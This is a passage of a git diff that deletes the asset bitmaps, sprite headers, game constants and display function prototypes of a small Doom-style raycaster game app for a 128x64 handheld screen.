0x7f, 0xff, 0xff, 0xfe, 0x3f, 0xff, 0xff, 0xfe, - 0x1f, 0xc2, 0x07, 0xe0, 0x1f, 0x00, 0x01, 0xe0, 0x0e, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, -}; //{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xc0, 0x00, 0x00, 0x03, 0xc0, 0x00, 0x00, 0x07, 0xe0, 0x00, 0x00, 0x07, 0xe0, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x01, 0x07, 0xf1, 0x80, 0x00, 0xdf, 0xfe, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0x00, 0x7f, 0xff, 0x00, 0x01, 0xff, 0xff, 0x80, 0x00, 0xff, 0xff, 0x80, 0x01, 0xff, 0xff, 0x80, 0x03, 0xcf, 0xf1, 0xc0, 0x01, 0xc7, 0xf1, 0xc0, 0x01, 0x87, 0xf1, 0xc0, 0x03, 0x0f, 0xf9, 0x80, 0x03, 0x0f, 0xfb, 0x80, 0x01, 0x8f, 0xff, 0x80, 0x03, 0x9f, 0x79, 0x00, 0x00, 0x1f, 0x7c, 0x00, 0x00, 0x0f, 0x78, 0x00, 0x00, 0x0f, 0x78, 0x00, 0x00, 0x07, 0x30, 0x00, 0x00, 0x07, 0x38, 0x00, 0x00, 0x07, 0x30, 0x00, 0x00, 0x07, 0x30, 0x00, 0x00, 0x03, 0x78, 0x00, 0x00, 0x07, 0x30, 0x00, 0x00, 0x0f, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00}; -const uint8_t fireball[] = {0x00, 0x00, 0x01, 0x40, 0x0a, 0xb0, 0x0e, 0xd0, 0x00, 0x68, 0x53, - 0xb4, 0x0f, 0x48, 0x27, 0x78, 0x17, 0xa8, 0x27, 0xf0, 0x21, 0xd6, - 0x02, 0xf8, 0x20, 0x48, 0x06, 0x20, 0x01, 0x00, 0x00, 0x00}; -const uint8_t fireball_mask[] = {0x1f, 0x40, 0x0f, 0xf0, 0x3f, 0xf8, 0x1f, 0xfc, 0x7f, 0xfd, 0x7f, - 0xfc, 0x7f, 0xfd, 0xff, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, - 0xff, 0xfe, 0x3f, 0xfe, 0x17, 0xf8, 0x07, 0xf4, 0x01, 0xe0}; -const uint8_t item[] = {0x1f, 0xf8, 0x3f, 0xfc, 0x7f, 0xfe, 0x7f, 0xfe, 0x77, 0xee, 0x3f, - 0xfc, 0x5f, 0xfa, 0x2f, 0xf6, 0x53, 0xcc, 0x3e, 0x7e, 0x5e, 0x7c, - 0x38, 0x1e, 0x58, 0x1c, 0x3e, 0x7e, 0x5e, 0x7e, 0x2e, 0xfc, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xfc, - 0x17, 0xfc, 0x22, 0x6c, 0x36, 0x44, 0x3f, 0xfc, 0x1f, 0xfc, 0x2b, - 0xfc, 0x05, 0x54, 0x02, 0xa8, 0x00, 0x00, 0x00, 0x00}; -const uint8_t item_mask[] = {0x1f, 0xf8, 0x3f, 0xfc, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, - 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, - 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x7f, 0xfe, 0x3f, 0xfc, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xfc, - 0x1f, 0xfc, 0x3f, 0xfc, 0x3f, 0xfc, 0x3f, 0xfc, 0x3f, 0xfc, 0x3f, - 0xfc, 0x07, 0xfc, 0x03, 0xf8, 0x00, 0x00, 0x00, 0x00}; - -//const uint8_t door[] = {0xff, 0xff, 0xff, 0xff,0xb2, 0xbd, 0xcd, 0x5b,0x9a, 0xf4, 0x6d, 0x71,0xff, 0xff, 0xff, 0xff,0x00, 0x00, 0x00, 0x00,0xbf, 0xff, 0xff, 0xfd,0x3f, 0x00, 0xfe, 0xfc,0x3e, 0x00, 0xc6, 0xfc,0xbc, 0xaa, 0xfe, 0xbd,0x39, 0x54, 0xc6, 0xbc,0x32, 0x8e, 0xfe, 0xac,0xb5, 0xfe, 0xc6, 0xad,0x3f, 0xe0, 0xfe, 0xac,0x31, 0xe0, 0xc6, 0xac,0xb3, 0xf4, 0xfe, 0xad,0x3f, 0xe8, 0xc6, 0xac,0x3c, 0xf4, 0xd6, 0xac,0xb8, 0xff, 0xfe, 0xad,0x34, 0xc7, 0xfe, 0xfc,0x38, 0xd6, 0x0e, 0x0c,0xb0, 0xd6, 0x4e, 0x0d,0x3f, 0xd6, 0xaf, 0x5c,0x30, 0x47, 0xff, 0xac,0xb7, 0x57, 0xff, 0xfd,0x3f, 0xc6, 0x0e, 0x0c,0x35, 0x56, 0x40, 0x4c,0xb5, 0x46, 0xaa, 0xad,0x35, 0x56, 0x55, 0x4c,0xff, 0xff, 0xff, 0xff,0xb0, 0x1f, 0xf8, 0x0d,0xd9, 0x30, 0x0c, 0x9b,0xff, 0xe0, 0x07, 0xff}; -const uint8_t door[] = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x07, 0xe1, 0x8c, 0x00, 0x04, - 0x00, 0x7c, 0x03, 0x18, 0x60, 0x08, 0x00, 0x3e, 0x0f, 0xf7, 0xdf, 0x00, 0x1f, 0x00, 0xfe, 0x0f, - 0xbe, 0xf8, 0x3e, 0x00, 0x3f, 0x1f, 0xff, 0xdf, 0x00, 0x1f, 0x81, 0xff, 0x0f, 0xff, 0xf8, 0x7e, - 0x00, 0x3f, 0x8f, 0xff, 0xdf, 0x00, 0xff, 0xf9, 0xff, 0x1f, 0xff, 0xf8, 0xff, 0x80, 0x3f, 0xc7, - 0xff, 0xcc, 0x07, 0xff, 0xfc, 0xff, 0x1f, 0xff, 0xe3, 0xff, 0x80, 0x3f, 0xc7, 0xff, 0xc0, 0x07, - 0xff, 0xfc, 0x7f, 0x0f, 0xfe, 0x03, 0xff, 0xc0, 0x3f, 0xc3, 0xf7, 0xc0, 0x07, 0xdf, 0xf8, 0x3e, - 0x0f, 0xbe, 0x01, 0xff, 0x80, 0x1f, 0x80, 0xe3, 0x80, 0x07, 0x8f, 0xf8, 0x1e, 0x07, 0x1c, 0x01, - 0xff, 0x80, 0x3f, 0xc1, 0xff, 0xc0, 0x0f, 0xff, 0xfc, 0x3f, 0x0f, 0xbe, 0x03, 0xff, 0xc0, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xff, 0x80, 0x00, - 0x7f, 0xff, 0xff, 0xc0, 0x00, 0x00, 0xe0, 0x00, 0x1f, 0xf0, 0xff, 0x00, 0x00, 0x7f, 0xff, 0xff, - 0xc0, 0x00, 0x00, 0xe0, 0x00, 0x0f, 0xf0, 0xff, 0x00, 0x00, 0xff, 0xff, 0xff, 0xe0, 0x00, 0x01, - 0xe0, 0x00, 0x0f, 0xf0, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0xe0, 0x00, 0x01, 0xf0, 0x00, 0x0f, - 0xf0, 0xff, 0x00, 0x03, 0xff, 0xff, 0xff, 0xe0, 0x7f, 0x81, 0xf0, 0x00, 0x0f, 0xf0, 0xff, 0x00, - 0x07, 0xff, 0xff, 0xff, 0xe0, 0xff, 0xc1, 0xf0, 0x00, 0x0f, 0xf0, 0xff, 0x00, 0x0f, 0xff, 0xff, - 0xff, 0xe1, 0xff, 0xe1, 0xf0, 0x00, 0x0f, 0xf0, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xe0, 0xff, - 0xc1, 0xf3, 0x00, 0x0f, 0xf0, 0xff, 0x00, 0x3f, 0xff, 0xff, 0xff, 0xe0, 0xff, 0x81, 0xff, 0xc0, - 0x0f, 0xf0, 0xff, 0x00, 0x7f, 0xff, 0xff, 0xff, 0xe0, 0x3f, 0x01, 0xff, 0xc0, 0x0f, 0xf0, 0xff, - 0x00, 0xff, 0xff, 0xff, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xe0, 0x0f, 0xf0, 0xff, 0x01, 0xff, 0xff, - 0xff, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xe0, 0x0f, 0xf0, 0xff, 0x03, 0xff, 0xff, 0xff, 0xff, 0xe1, - 0xff, 0xe1, 0xff, 0xe0, 0x0f, 0xf0, 0xff, 0x07, 0xff, 0xff, 0xff, 0xff, 0xe0, 0xff, 0xc1, 0xff, - 0xf0, 0x0f, 0xf0, 0xff, 0x0f, 0xff, 0xff, 0xff, 0x8f, 0xe0, 0xff, 0x81, 0xff, 0xff, 0x0f, 0xf0, - 0xff, 0x1f, 0xff, 0xff, 0xfe, 0x07, 0xe0, 0x7f, 0x81, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, - 0xff, 0xfc, 0x07, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, 0x8f, 0xfc, 0x03, - 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, 0x07, 0xfc, 0x07, 0xe0, 0xff, 0xc1, - 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xfe, 0x00, 0x7f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, - 0xf0, 0xff, 0x0f, 0x9c, 0x00, 0x3f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x07, - 0xfc, 0x00, 0x7f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x07, 0xfc, 0x00, 0x7f, - 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x0f, 0xfc, 0x00, 0x7f, 0xff, 0xe0, 0xff, - 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x0f, 0xfc, 0x00, 0x7f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, - 0x8f, 0xf0, 0xff, 0x1f, 0xfe, 0x00, 0x7f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, - 0x1f, 0xfc, 0x00, 0x3f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xfc, 0x00, - 0x3f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xf0, 0x00, 0x1f, 0xff, 0xe0, - 0x7f, 0x81, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x0f, 0xf0, 0x00, 0x1f, 0xff, 0xe0, 0xff, 0x81, 0xff, - 0xff, 0x8f, 0xf0, 0xff, 0x07, 0xe0, 0x00, 0x3f, 0xff, 0xe0, 0xff, 0xc1, 0xff, 0xff, 0x8f, 0xf0, - 0xff, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xe1, 0xff, 0xe1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x00, 0x1f, - 0x80, 0x3f, 0xff, 0xe1, 0xff, 0xe1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x00, 0x3f, 0xc0, 0x1f, 0xff, - 0xe1, 0xff, 0xe1, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x00, 0x7f, 0xc0, 0x0f, 0xff, 0xe1, 0xff, 0xe1, - 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x00, 0xff, 0xc0, 0x07, 0xff, 0xe1, 0xff, 0xe1, 0xff, 0xff, 0x8f, - 0xf0, 0xff, 0x01, 0xff, 0xc0, 0x03, 0x8f, 0xc0, 0xc1, 0x81, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x03, - 0xff, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x07, 0xff, 0xc0, 0xff, - 0x80, 0x00, 0x00, 0x01, 0xff, 0xff, 0x0f, 0xf0, 0xff, 0x0f, 0xff, 0xc1, 0xff, 0x80, 0x00, 0x00, - 0x01, 0xf3, 0x8e, 0x0f, 0xf0, 0xff, 0x0f, 0xff, 0xc3, 0xff, 0xc0, 0x00, 0x00, 0x01, 0xff, 0x9c, - 0x0f, 0xf0, 0xff, 0x0f, 0xff, 0xc3, 0xff, 0xc0, 0xff, 0xfc, 0x01, 0xff, 0xfe, 0x0f, 0xf0, 0xff, - 0x0f, 0xff, 0xc3, 0xff, 0xc1, 0xff, 0xfe, 0x01, 0xff, 0xff, 0x0f, 0xf0, 0xff, 0x07, 0xff, 0xc3, - 0xff, 0xc3, 0xff, 0xff, 0x01, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x0f, 0xff, 0xc3, 0xff, 0xc3, 0xff, - 0xff, 0x01, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x0f, 0xff, 0xc3, 0xff, 0xc3, 0xff, 0xff, 0x01, 0xff, - 0xff, 0x8f, 0xf0, 0xff, 0x0f, 0xff, 0xc3, 0xff, 0xc3, 0xff, 0xff, 0x01, 0xff, 0xff, 0x8f, 0xf0, - 0xff, 0x0f, 0xff, 0xc3, 0xff, 0xc3, 0xff, 0xff, 0x01, 0xff, 0xff, 0x0f, 0xf0, 0xff, 0x0f, 0xff, - 0xc3, 0xff, 0xc3, 0xff, 0xff, 0x00, 0xff, 0xff, 0x0f, 0xf0, 0xff, 0x0f, 0xff, 0xc3, 0xff, 0xc3, - 0xff, 0xff, 0x00, 0xff, 0xff, 0x0f, 0xf0, 0xff, 0x07, 0xff, 0xe3, 0xff, 0xc3, 0xff, 0xff, 0x00, - 0x3f, 0xfe, 0x0f, 0xf0, 0xff, 0x07, 0xff, 0xf3, 0xff, 0xc1, 0xef, 0xfe, 0x00, 0x3f, 0xfe, 0x0f, - 0xf0, 0xff, 0x0f, 0xff, 0xff, 0xff, 0xc0, 0x82, 0x00, 0x00, 0x1f, 0xff, 0x0f, 0xf0, 0xff, 0x1f, - 0xff, 0xff, 0xff, 0xc0, 0x00, 0x00, 0x00, 0x07, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, 0xff, 0xff, - 0xc0, 0x00, 0x00, 0x00, 0x07, 0xff, 0x0f, 0xf0, 0xff, 0x1f, 0xff, 0xff, 0xff, 0xc0, 0x00, 0x00, - 0x00, 0x03, 0x8e, 0x0f, 0xf0, 0xff, 0x1f, 0xc1, 0xff, 0xff, 0xc0, 0x00, 0x00, 0x00, 0x03, 0x88, - 0x0f, 0xf0, 0xff, 0x0f, 0x80, 0xff, 0xff, 0xc1, 0xff, 0xfc, 0x00, 0xff, 0xfe, 0x0f, 0xf0, 0xff, - 0x06, 0x00, 0x73, 0xff, 0xc3, 0xff, 0xfe, 0x01, 0xff, 0xff, 0x0f, 0xf0, 0xff, 0x00, 0x00, 0x03, - 0xff, 0xc3, 0xff, 0xff, 0x83, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x07, 0x0c, 0x73, 0xff, 0xc3, 0xff, - 0xff, 0xff, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x0f, 0xfe, 0xff, 0xff, 0xc3, 0xff, 0xff, 0xff, 0xff, - 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, 0xff, 0xff, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff, 0x8f, 0xf0, - 0xff, 0x1f, 0xff, 0xff, 0xff, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, - 0xff, 0xff, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, 0xff, 0xff, 0xc3, - 0xff, 0xff, 0xff, 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, 0xff, 0xff, 0xc3, 0xff, 0xff, 0xff, - 0xff, 0xff, 0x8f, 0xf0, 0xff, 0x1f, 0xff, 0xff, 0xff, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff, 0x8f, - 0xf0, 0xfe, 0x1f, 0xff, 0xff, 0xff, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff, 0x87, 0xf0, 0xfe, 0x1f, - 0xfe, 0xfb, 0xff, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0xf0, 0xfc, 0x0f, 0x9e, 0x73, 0xff, - 0x81, 0xf9, 0xf7, 0xe7, 0x9c, 0xff, 0x03, 0xf0, 0xfc, 0x07, 0xfe, 0xfb, 0xc0, 0x00, 0xf0, 0x00, - 0x6f, 0xbe, 0xfe, 0x03, 0xf0, 0x3c, 0x07, 0xff, 0xff, 0xc0, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xfe, - 0x03, 0xc0, 0x1c, 0x0f, 0xff, 0xff, 0xc0, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xff, 0x03, 0x80, 0x1e, - 0x0f, 0xff, 0xff, 0xe0, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xff, 0x07, 0x80, 0x3f, 0x0f, 0xff, 0xff, - 0xe0, 0xff, 0xff, 0xf0, 0x7f, 0xff, 0xff, 0x0f, 0xc0, 0x1f, 0x8f, 0xff, 0xff, 0xe7, 0xff, 0xff, - 0xfe, 0x7f, 0xff, 0xff, 0x1f, 0x80, 0x1f, 0xc7, 0xff, 0xff, 0xef, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xfe, 0x3f, 0x80, 0x07, 0xc3, 0xff, 0xff, 0x9f, 0xff, 0xff, 0xff, 0x9f, 0xff, 0xfc, 0x3e, 0x00, - 0x07, 0xc1, 0xfe, 0xff, 0x3f, 0xff, 0xff, 0xff, 0xcf, 0xf7, 0xf8, 0x3e, 0x00, 0x01, 0x00, 0xfc, - 0x7e, 0x7f, 0xff, 0xff, 0xff, 0xe7, 0xe3, 0xf0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, - 0xff, 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xff, 0xff, 0xe0, - 0x00, 0x00, 0x00, 0x00}; \ No newline at end of file diff --git a/applications/external/doom/assets.h b/applications/external/doom/assets.h deleted file mode 100644 index 546d7607d..000000000 --- a/applications/external/doom/assets.h +++ /dev/null @@ -1,108 +0,0 @@ -#pragma once -#include - -#ifndef _sprites_h -#define _sprites_h - -#define bmp_font_width 24 // in bytes -#define bmp_font_height 6 -#define bmp_font_width_pxs 192 -#define bmp_font_height_pxs 48 -#define CHAR_MAP " 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ.,-_(){}[]#" -#define CHAR_WIDTH 4 -#define CHAR_HEIGHT 6 - -#define BMP_GUN_WIDTH 32 -#define BMP_GUN_HEIGHT 32 - -#define BMP_FIRE_WIDTH 24 -#define BMP_FIRE_HEIGHT 20 - -#define BMP_IMP_WIDTH 32 -#define BMP_IMP_HEIGHT 32 -#define BMP_IMP_COUNT 5 - -#define BMP_FIREBALL_WIDTH 16 -#define BMP_FIREBALL_HEIGHT 16 - -#define BMP_DOOR_WIDTH 100 -#define BMP_DOOR_HEIGHT 100 - -#define BMP_ITEMS_WIDTH 16 -#define BMP_ITEMS_HEIGHT 16 -#define BMP_ITEMS_COUNT 2 - -#define BMP_LOGO_WIDTH 128 -#define BMP_LOGO_HEIGHT 64 - -#define GRADIENT_WIDTH 2 -#define GRADIENT_HEIGHT 8 -#define GRADIENT_COUNT 8 -#define GRADIENT_WHITE 7 -#define GRADIENT_BLACK 0 - -// Fonts -extern const uint8_t zero[]; -extern const uint8_t one[]; -extern const uint8_t two[]; -extern const uint8_t three[]; -extern const uint8_t four[]; -extern const uint8_t five[]; -extern const uint8_t six[]; -extern const uint8_t seven[]; -extern const uint8_t eight[]; -extern const uint8_t nine[]; -extern const uint8_t A[]; -extern const uint8_t B[]; -extern const uint8_t C[]; -extern const uint8_t D[]; -extern const uint8_t E[]; -extern const uint8_t F[]; -extern const uint8_t G[]; -extern const uint8_t H[]; -extern const uint8_t I[]; -extern const uint8_t J[]; -extern const uint8_t K[]; -extern const uint8_t L[]; -extern const uint8_t M[]; -extern const uint8_t N[]; -extern const uint8_t O[]; -extern const uint8_t P[]; -extern const uint8_t Q[]; -extern const uint8_t R[]; -extern const uint8_t S[]; -extern const uint8_t T[]; -extern const uint8_t U[]; -extern const uint8_t V[]; -extern const uint8_t W[]; -extern const uint8_t X[]; -extern const uint8_t Y[]; -extern const uint8_t Z[]; -extern const uint8_t dot[]; -extern const uint8_t comma[]; -extern const uint8_t dash[]; -extern const uint8_t underscore[]; -extern const uint8_t bracket_open[]; -extern const uint8_t bracket_close[]; -extern const uint8_t cross_left[]; -extern const uint8_t cross_right[]; -extern const uint8_t pacman_left[]; -extern const uint8_t pacman_right[]; -extern const uint8_t box[]; -extern const uint8_t* char_arr[48]; -extern const uint8_t gradient[]; -//extern const uint8_t gun[] -//extern const uint8_t gun_mask[] -extern const uint8_t gun[]; -extern const uint8_t gun_mask[]; - -extern const uint8_t imp_inv[]; -extern const uint8_t imp_mask_inv[]; -extern const uint8_t fireball[]; -extern const uint8_t fireball_mask[]; -extern const uint8_t item[]; -extern const uint8_t item_mask[]; - -extern const uint8_t door[]; - -#endif diff --git a/applications/external/doom/assets/door2.png b/applications/external/doom/assets/door2.png deleted file mode 100644 index b4b4f0399..000000000 Binary files a/applications/external/doom/assets/door2.png and /dev/null differ diff --git a/applications/external/doom/assets/door_inv.png b/applications/external/doom/assets/door_inv.png deleted file mode 100644 index 3185f524c..000000000 Binary files a/applications/external/doom/assets/door_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/fire_inv.png b/applications/external/doom/assets/fire_inv.png deleted file mode 100644 index 46af8691b..000000000 Binary files a/applications/external/doom/assets/fire_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/fireball_inv.png b/applications/external/doom/assets/fireball_inv.png deleted file mode 100644 index b046288f8..000000000 Binary files a/applications/external/doom/assets/fireball_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/fireball_mask_inv.png b/applications/external/doom/assets/fireball_mask_inv.png deleted file mode 100644 index 548c654b7..000000000 Binary files a/applications/external/doom/assets/fireball_mask_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/gradient_inv.png b/applications/external/doom/assets/gradient_inv.png deleted file mode 100644 index 78eec8c20..000000000 Binary files a/applications/external/doom/assets/gradient_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/gun_inv.png b/applications/external/doom/assets/gun_inv.png deleted file mode 100644 index e2ec05295..000000000 Binary files a/applications/external/doom/assets/gun_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/gun_mask_inv.png b/applications/external/doom/assets/gun_mask_inv.png deleted file mode 100644 index 2d761a70a..000000000 Binary files a/applications/external/doom/assets/gun_mask_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/imp_inv.png b/applications/external/doom/assets/imp_inv.png deleted file mode 100644 index 4b480f1c5..000000000 Binary files a/applications/external/doom/assets/imp_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/imp_mask_inv.png b/applications/external/doom/assets/imp_mask_inv.png deleted file mode 100644 index 70e991270..000000000 Binary files a/applications/external/doom/assets/imp_mask_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/item_inv.png b/applications/external/doom/assets/item_inv.png deleted file mode 100644 index 1d32dbcd8..000000000 Binary files a/applications/external/doom/assets/item_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/item_mask_inv.png b/applications/external/doom/assets/item_mask_inv.png deleted file mode 100644 index a0bde9c76..000000000 Binary files a/applications/external/doom/assets/item_mask_inv.png and /dev/null differ diff --git a/applications/external/doom/assets/logo_inv.png b/applications/external/doom/assets/logo_inv.png deleted file mode 100644 index c75bd3028..000000000 Binary files a/applications/external/doom/assets/logo_inv.png and /dev/null differ diff --git a/applications/external/doom/constants.h b/applications/external/doom/constants.h deleted file mode 100644 index 4e0f10118..000000000 --- a/applications/external/doom/constants.h +++ /dev/null @@ -1,91 +0,0 @@ -#ifndef _constants_h -#define _constants_h -#define PB_CONSTEXPR constexpr - -#define PI 3.14159265358979323846 - -// Key pinout -#define USE_INPUT_PULLUP -#define K_LEFT 6 -#define K_RIGHT 7 -#define K_UP 8 -#define K_DOWN 3 -#define K_FIRE 10 - -// SNES Controller -// uncomment following line to enable snes controller support -// #define SNES_CONTROLLER -const uint8_t DATA_CLOCK = 11; -const uint8_t DATA_LATCH = 12; -const uint8_t DATA_SERIAL = 13; - -// Sound -const uint8_t SOUND_PIN = 9; // do not change, belongs to used timer - -// GFX settings -#define OPTIMIZE_SSD1306 // Optimizations for SSD1366 displays - -#define FRAME_TIME 66.666666 // Desired time per frame in ms (66.666666 is ~15 fps) -#define RES_DIVIDER 2 - -/* Higher values will result in lower horizontal resolution when rasterize and lower process and memory usage - Lower will require more process and memory, but looks nicer - */ -#define Z_RES_DIVIDER 2 // Zbuffer resolution divider. We sacrifice resolution to save memory -#define DISTANCE_MULTIPLIER 20 - -/* Distances are stored as uint8_t, multiplying the distance we can obtain more precision taking care - of keep numbers inside the type range. Max is 256 / MAX_RENDER_DEPTH - */ - -#define MAX_RENDER_DEPTH 12 -#define MAX_SPRITE_DEPTH 8 - -#define ZBUFFER_SIZE SCREEN_WIDTH / Z_RES_DIVIDER - -// Level -#define LEVEL_WIDTH_BASE 6 -#define LEVEL_WIDTH (1 << LEVEL_WIDTH_BASE) -#define LEVEL_HEIGHT 57 -#define LEVEL_SIZE LEVEL_WIDTH / 2 * LEVEL_HEIGHT - -// scenes -#define INTRO 0 -#define GAME_PLAY 1 - -// Game -#define GUN_TARGET_POS 18 -#define GUN_SHOT_POS GUN_TARGET_POS + 4 - -#define ROT_SPEED .12 -#define MOV_SPEED .2 -#define MOV_SPEED_INV 5 // 1 / MOV_SPEED - -#define JOGGING_SPEED .005 -#define ENEMY_SPEED .02 -#define FIREBALL_SPEED .2 -#define FIREBALL_ANGLES 45 // Num of angles per PI - -#define MAX_ENTITIES 10 // Max num of active entities -#define MAX_STATIC_ENTITIES 28 // Max num of entities in sleep mode - -#define MAX_ENTITY_DISTANCE 200 // * DISTANCE_MULTIPLIER -#define MAX_ENEMY_VIEW 80 // * DISTANCE_MULTIPLIER -#define ITEM_COLLIDER_DIST 6 // * DISTANCE_MULTIPLIER -#define ENEMY_COLLIDER_DIST 4 // * DISTANCE_MULTIPLIER -#define FIREBALL_COLLIDER_DIST 2 // * DISTANCE_MULTIPLIER -#define ENEMY_MELEE_DIST 6 // * DISTANCE_MULTIPLIER -#define WALL_COLLIDER_DIST .2 - -#define ENEMY_MELEE_DAMAGE 8 -#define ENEMY_FIREBALL_DAMAGE 20 -#define GUN_MAX_DAMAGE 20 - -// display -const uint8_t SCREEN_WIDTH = 128; -const uint8_t SCREEN_HEIGHT = 64; -const uint8_t HALF_WIDTH = SCREEN_WIDTH / 2; -const uint8_t RENDER_HEIGHT = 56; // raycaster working height (the rest is for the hud) -const uint8_t HALF_HEIGHT = SCREEN_HEIGHT / 2; - -#endif diff --git a/applications/external/doom/display.h b/applications/external/doom/display.h deleted file mode 100644 index 89f821867..000000000 --- a/applications/external/doom/display.h +++ /dev/null @@ -1,280 +0,0 @@ -#include -#include -#include "constants.h" -#include -#include "assets.h" - -#define CHECK_BIT(var, pos) ((var) & (1 << (pos))) - -static const uint8_t bit_mask[8] = {128, 64, 32, 16, 8, 4, 2, 1}; - -#define pgm_read_byte(addr) (*(const unsigned char*)(addr)) -#define read_bit(b, n) b& pgm_read_byte(bit_mask + n) ? 1 : 0 -//#define read_bit(byte, index) (((unsigned)(byte) >> (index)) & 1) - -void drawVLine(uint8_t x, int8_t start_y, int8_t end_y, uint8_t intensity, Canvas* const canvas); -void drawPixel(int8_t x, int8_t y, bool color, bool raycasterViewport, Canvas* const canvas); -void drawSprite( - int8_t x, - int8_t y, - const uint8_t* bitmap, - const uint8_t* bitmap_mask, - int16_t w, - int16_t h, - uint8_t sprite, - double distance, - Canvas* const canvas); -void drawBitmap( - int16_t x, - int16_t y, - const Icon* i, - int16_t w, - int16_t h, - uint16_t color, - Canvas* const canvas); -void drawTextSpace(int8_t x, int8_t y, char* txt, uint8_t space, Canvas* const canvas); -void drawChar(int8_t x, int8_t y, char ch, Canvas* const canvas); -void clearRect(uint8_t x, uint8_t y, uint8_t w, uint8_t h, Canvas* const canvas); -void drawGun( - int16_t x, - int16_t y, - const uint8_t* bitmap, - int16_t w, - int16_t h, - uint16_t color, - Canvas* const canvas); 